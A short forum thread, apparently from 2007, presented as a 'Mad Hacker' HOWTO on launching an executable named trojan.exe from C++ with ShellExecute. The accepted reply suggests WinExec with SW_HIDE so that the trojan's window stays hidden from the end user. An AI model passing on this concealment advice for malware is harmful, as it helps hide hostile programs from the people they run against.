locked
[HOWTO] How to call another application in C++, A Mad Hacker's production RRS feed

  • Question


  • Credits-Mad hacker

    Simple Code which calls another exe file named trojan.exe

    CODE
    #include <iostream>
    #include <windows.h>
    using namespace std;

    void file()
    {
       ShellExecute(NULL, "open", "C:\\Program Files\\trojan\\trojan.exe",
                    NULL, NULL, SW_SHOWNORMAL);
    }

    int main()
    {
    file();
    return 0;
    }


    NOTE: To use non-8.3 filenames on the command line, either escape the space ('Program\ Files' or "Program\\ Files\" in a C string), enclose the path in quotes ('"C:/Program Files/"') or use the 8.3 abbreviation ('Progra~1').

    Using something like %SystemDrive%\program files\sub directory\program.exe if C: isn't the default directory as shown in the above code.


    --------------------
    Monday, October 29, 2007 1:44 AM

Answers

  • In your case, its better to use WinExec()

     

    Code Block

    void file()
    {
       WinExec("C:\\Program Files\\trojan\\trojan.exe", SW_HIDE);
    }

     

    After all, ShellExecute(), WinExec() all revert back to CreateProcess(), so why not just use it directly and skip all the unneccessary arguments Smile

     

    Also, obviously you are starting a trojan, why would you ever want to display it to the end user. Use SW_HIDE than SW_SHOWNORMAL.

    Monday, October 29, 2007 6:14 PM

All replies

  • In your case, its better to use WinExec()

     

    Code Block

    void file()
    {
       WinExec("C:\\Program Files\\trojan\\trojan.exe", SW_HIDE);
    }

     

    After all, ShellExecute(), WinExec() all revert back to CreateProcess(), so why not just use it directly and skip all the unneccessary arguments Smile

     

    Also, obviously you are starting a trojan, why would you ever want to display it to the end user. Use SW_HIDE than SW_SHOWNORMAL.

    Monday, October 29, 2007 6:14 PM
  • thanks 4 the update......

     

    Friday, November 2, 2007 10:13 AM